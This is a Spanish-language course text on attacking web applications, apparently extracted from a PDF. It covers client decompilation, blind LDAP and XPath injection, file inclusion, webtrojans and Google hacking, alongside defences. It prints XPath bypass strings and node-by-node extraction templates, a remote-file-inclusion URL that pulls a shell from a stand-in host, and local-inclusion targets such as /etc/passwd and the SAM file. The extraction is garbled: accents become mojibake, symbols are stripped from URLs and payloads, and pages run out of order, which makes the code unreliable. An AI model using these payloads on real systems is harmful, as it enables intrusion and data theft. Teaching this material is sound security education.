lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo
actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-
samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-
donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un
fichero Flash
Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar
coacutemo realizar esto mediante el programa Flasm de descarga gratuita
La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-
lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-
rigir hacia un fichero de texto la salida del programa En este ejemplo vamos
a realizar la accioacuten con un pequentildeo juego Flash
Figura 50 Ejecucioacuten del comando flasmexe
Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra
extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador
(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf
CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web
Figura 51 Volcado del coacutedigo del fichero swf
Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo
funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las
URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten
Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los
fallos de seguridad comentados en capiacutetulos anteriores
612 Java
Al igual que con los ficheros Flash aunque con menos popularidad en la ac-
tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-
cutan dentro de nuestro navegador
Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo
en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene
muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto
tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-
mos en Flash
Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos
muestran el coacutedigo Java original En la captura siguiente el programa usado
es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-
ciones
CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web
Figura 52 Pantalla principal del Java Decompiler
613 NET
Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones
ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar
maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-
dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-
do NET que se carga desde el servidor mediante un plugin en nuestro navega-
dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de
la aplicacioacuten Silverlight
Figura 53 Aplicacioacuten de muestra de Silverlight
CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web
En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple
Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute
programada para que compruebe los datos introducidos con unos datos que
estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y
vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea
vaacutelidos El detalle de coacutedigo Javascript seriacutea
Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo
HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero
contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-
vegador interprete
El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del
programa Estos ficheros son compilados de NET y pueden ser analizados me-
diante programas como NET Reflector Los ficheros contenidos en este fiche-
ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor
pues realmente es un fichero ZIP
Figura 54ndash Fichero xap descomprimido
Una vez descomprimido se nos muestran una serie de archivos Estos archivos
contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero
realmente los datos importantes se encuentran en el fichero Test001dll (en el
ejemplo actual) Este fichero puede ser descompilado mediante el programa
indicado anteriormente y acceder al coacutedigo fuente interno En este caso se
observan dos clases principales App y MainPage
CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web
Figura 55 Detalle del programa descompilado
En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-
do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten
de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el
nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo
Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera
forma de poner un contenido de una manera maacutes vistosa para el usuario Sin
embargo a veces los desarrolladores web lo usan como un lenguaje de progra-
macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro
CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web
Bibliografiacutea
Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox
Clarke J (2009) SQL Injection Attacks and defense E Syngress
Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress
Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media
Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley
CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web
Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena
opcioacuten a la hora de extraer valores de campos
En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece
o no al valor del campo
Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos
Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos
Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse
para extraer el valor del dato mediante un proceso de despliegue
3)Fase3despliegue
En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas
para ello comenzaremos un proceso desde la primera posicioacuten
Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos
CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web
Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-
firme que con ese patroacuten se devuelven datos
Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos
Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a
buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la
fase de reduccioacuten del alfabeto
Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos
Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos
Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se
hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta
de los objetos del aacuterbol LDAP
LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-
rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet
realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-
On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet
CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web
Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro
de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas
de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo
la documentacioacuten existente son de poca ayuda pues en los entornos maacutes
comunes como ADAM u OpenLDAP no funcionan
La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones
consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-
viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines
para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra
aplicacioacuten
23 XPath
XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-
cumentos XML por medio de expresiones especiacuteficas para su estructura
Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de
la organizacioacuten de nodos que poseen los ficheros XML
Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-
ble implementarlo en aplicaciones web de modo que pueden sustituir a los
SGBD (sistema gestor de base de datos) basados en SQL
231 XPath injection y Blind XPath Injection
XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los
paraacutemetros de buacutesqueda a la hora de formar una query XPath
Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-
tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML
Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL
Injection LDAP Injection) son fallos de seguridad causados por una mala
programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-
queda sin importar que la aplicacioacuten sea de escritorio o web
Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-
poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten
contra un aacuterbol XML con la siguiente estructura
ltxml version=10 encoding=UTF-8gt
ltusuariosgt
ltusuario login=admin password=t1oviv0 nivel=3 gt
ltusuario login=usuario password=miPasswordXml nivel=1 gt
ltusuario login=invitado password=invitado nivel=0 gt
CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web
ltusuariosgt
La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde
para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario
y un password con los que posteriormente formara una query de XPath con
la siguiente estructura
string xpath = usuariosusuario[login= + usuario + and password= + password + ]
En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-
tivo a no ser que el usuario y el password correspondan con los establecidos en
el documento XML pero si se trata de un entorno inseguro donde los campos
de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una
inyeccioacuten
Si un usuario introdujera en el campo password un valor como abclsquo or
lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder
a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado
positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y
posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-
da seriacutea el que nos muestra el siguiente ejemplo
Figura 40 Evaluacioacuten de los paraacutemetros en XPath
Como hemos visto con este tipo de inyecciones es posible hacer modificacio-
nes en la query para obtener el resultado deseado (truefalse) pero es posible ir
mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos
atributos y elementos
Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath
Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores
del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten
vulnerable
Retomando el caso praacutectico anterior supongamos que cuando realizamos login
en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten
devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso
de que la query XPath devuelva un resultado negativo (cuando se realiza una
inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo
password incorrectordquo
CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web
En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a
Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de
un motor XML y no SQL podemos utilizar funciones como count() la
cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener
al menos 1 nodo
bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob
bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1
Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que
estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL
(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal
modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML
bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo
bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo
Si con esta prueba obtenemos un resultado positivo no hay duda de que es un
sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML
iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo
El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea
sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos
que habriacutea que realizar seriacutean los siguientes
1) Extraer el nombre del nodo
2) Extraer los atributos del nodo
3) Comprobar si es un elemento3 En caso positivo obtener el valor
4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-
zando
5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo
Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de
caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length
[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]
Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya
que puede haber varios nodos con el mismo nombre dentro del mismo padre)
y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando
fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-
ble sacar la longitud del nombre de la siguiente manera
(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean
CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web
or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =
or childnode()[position()=1 and string-length(name())=8] or 1=1 and =
Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar
el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-
cioacutenrdquo e imaginacioacuten
or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()us)] and =
or childnode()[position()=1 and starts-with(name()usu)] and =
Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de
caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-
ma que seriacutea la longitud del nombre extraiacuteda inicialmente
Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-
mos pero variando la consulta XPath con las siguientes plantillas
1) Para extraer informacioacuten referente a los nodos
bull Longitud del nombre
[PATH]childnode()[position()=[NUMNODO] and
string-length(name())gt[NUMERO]]
bull Nombre del nodo
[PATH]childnode()[position()=[NUMNODO] and
starts-with(name()[VALORES])]
bull Nuacutemero de subnodos
count([PATH]childnode())gt[NUMERO]
2) Para extraer la informacioacuten de los atributos
bull Nuacutemero de atributos de un nodo
count([PATH]childnode()[[NUMNODO]])gt[NUMERO]
CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web
bull Longitud del nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT] and
string-length(name())gt[NUMERO]])gt0
bull Longitud del valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]
bull Nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and
starts-with(name()[VALORES])
bull Valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
starts-with([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]] [VALORES])
3) Para extraer el contenido de un nodo los elementos
bull Longitud del elemento
string-length([PATH]childtext())gt[NUMERO]
bull Valor del elemento
starts-with([PATH]childtext()[VALORES])
Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero
para ello ya existen herramientas que hacen este proceso de forma automaacuteti-
ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset
para encontrar los datos realizando un reducido nuacutemero de consultas
Implementar una reduccioacuten de charset es algo simple basta con hacer una
query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-
mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-
set Esto puede hacerse con la siguientes query
[contains(name() a)] or [contains(name() a)]
or attribute[contains(a)] or contains( a)
Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset
de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado
a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a
realizar pues ya sabremos que nunca va a aparecer
CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web
Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el
de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-
mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-
mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya
extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable
que si tienen la misma longitud tengan el mismo nombre
En la siguiente imagen se muestra una herramienta en funcionamiento una
vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable
Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada
232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de
la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un
filtrado de las entradas teniendo en cuenta dos factores
bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor
introducido en la entrada es un valor numeacuterico y no una cadena de texto
bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-
lla simple y doble por rsquo y rdquo
CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web
3 Ataques de Path Transversal
Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-
formacioacuten referente al servidor desde simplemente el directorio donde
se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del
servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos
por separado
La informacioacuten obtenida puede ser usada por un atacante para lograr acceder
a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-
ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder
a ellos
Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo
coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen
unos de los otros y realmente estaacuten muy relacionados entre siacute
31 Path Disclosure
Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en
cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-
ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a
un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-
mente
El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-
cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)
que contengan rutas a ficheros Esto lo lograremos introduciendo carac-
teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan
Figura 42 Fallo de Path Disclosure
CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web
Este mensaje de error puede darse al intentar reproducir cualquiera de los de-
maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-
macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten
un mensaje de error predefinido que usualmente contiene la ruta del fichero
afectado
Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-
nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es
buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-
tren nunca al usuario
CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web
4 Ataques de inyeccioacuten de ficheros
41 Remote file inclusion
Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo
remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al
igual que es posible cargar un fichero local para su inclusioacuten dentro de la
paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso
Esto es posible en lenguajes interpretados donde podemos incluir un fichero
con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como
base una paacutegina programada en PHP
httpwwwmipaginacommostrarphppag=indexphp
PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos
para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo
anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP
que permiten la inclusioacuten dinaacutemica de ficheros
bull include($pag)
bull require($pag)
bull include_once($pag)
bull require_once($pag)
Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-
dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-
temente controlada podremos hacer una llamada a un fichero externo que se
descargaraacute e interpretaraacute en el lado del servidor
httpwwwmipaginacommostrarphppag=httpmalocomshelltxt
En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el
fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en
mipaginacom
Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la
inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-
bicioacuten total de realizar estas acciones
CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web
Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos
buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc
php5phpini) y establecer la clave de configuracioacuten allow_url_include
a false
Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-
quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva
Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-
cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una
completa shell equipada con su propio explorador de ficheros opciones pa-
ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en
el equipo remoto
Figura 43 Shell remota ejecutaacutendose
Existe una gran variedad de shells remotas que podemos encontrar en Internet
Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen
otras como la r57 o c100 De todas maneras siempre podemos programarnos
una propia con la funcionalidad que necesitemos
42 Local file inclusion
Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-
pilados como interpretados Se basa en la posibilidad de incluir dentro de la
paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-
ciones web que tenga permisos de lectura
Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele
ser maacutes comuacuten en dos sitios bien diferenciados
bull Paacuteginas de plantillas carga un fichero desde otro y le da formato
CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web
bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a
descargar y lo enviacutea al cliente
El concepto tras ambos fallos es el mismo y las implementaciones defectuo-
sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera
satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-
ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior
usando los caracteres en sistemas Linux o en sistemas Windows maacutes
el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-
pechamos que la siguiente URL tiene un fallo de local file inclusion
httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp
Entonces para corroborarlo y determinar que efectivamente nos encontramos
frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que
quedase como sigue
httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp
Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-
nerable a local file inclusion
Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el
concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten
web y empezar a incluir ficheros del propio sistema operativo Esto nos per-
mitiraacute obtener maacutes informacioacuten sobre el equipo
Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path
Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican
estos De todas maneras y si no sabemos la ruta relativa de un fichero frente
a la paacutegina vulnerable podemos usar las rutas directas4
Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica
dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-
tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros
como muestra de la informacioacuten que podemos llegar a obtener
bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-
pendio de los usuarios existentes asiacute como datos relativos a ellos como
nombre o directorio del home
bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele
contener una lista de nombre e IPS internos que nos permiten obtener una
mejor idea de la estructura interna de una organizacioacuten
bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres
de usuarios y claves de los usuarios de un sistema Windows En la carpeta
(4)Una ruta directa es la que inclu-ye todo el nombre del fichero
CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web
Repair se almacena una copia del fichero SAM para poder recuperarla en
caso de error del sistema
bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero
vulnerable mediante el fallo de local file inclusion para poder aprender de
los problemas de otros
Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en
montar el servidor con el miacutenimo privilegio posible limitando la posibilidad
de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-
gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios
de la aplicacioacuten
Figura 44 Ejemplo de local file inclusion
Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-
larlo mediante permisos en el servidor hay que tener en cuenta que las rutas
a ficheros se pueden escribir de dos maneras
bull Directa Escribimos la ruta donde se encuentra el fichero directamente
Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados
por los usuarios
bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores
mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes
de lo anterior los puntos
43 Webtrojans
Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente
complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos
en PDF ficheros de viacutedeo etc
Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos
enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un
fichero con una imagen es necesario comprobar que lo que recibimos es real-
mente una imagen y no otro tipo de fichero
CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web
Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando
en nuestro servidor un fichero malintencionado conocido como webtrojan5
Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-
quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen
desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo
dentro de otros ficheros
El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras
una cabecera de una imagen donde algunos servidores son capaces de ejecutar
el coacutedigo
Figura 45 Webtrojan oculto dentro de un fichero GIF
En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor
de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para
subir cualquier tipo de fichero
Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-
tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo
que nosotros hemos permitido Una buena praacutectica es la de establecer noso-
tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben
evitando que alguien pueda subir un fichero y establecerlo con extensiones
como ASP o PHP
(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad
CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web
5 Google Hacking
Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas
privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea
accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general
los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus
propietarios saben que se encuentra ahiacute
Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la
informacioacuten que nos interesa es muy importante permitieacutendonos recopilar
mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio
ninguna peticioacuten al servidor en cuestioacuten
Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-
mos realizar y que combinados unos con otros alcanzan una potencia mucho
mayor
bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia
obligatoria de esta palabra en las paacuteginas devueltas
bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye
todos los resultados que contengan esa palabra
bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas
completas de texto dentro de los resultados
bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-
quier palabra dentro de una frase entrecomillada
bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina
bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina
bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas
bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-
cada
bull domainltdominiogt Limita los resultados al dominio especificado Se
puede usar solo el identificador del paiacutes (como es)
Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier
cosa que esteacute en Internet
CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web
Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo
Google Hacking Database es una base de datos de buacutesquedas de corroborada
eficacia que permite obtener datos interesantes referentes a ficheros de confi-
guracioacuten zonas privadas dispositivos conectados a la red software vulnera-
ble etc
Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos
de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar
subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a
realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas
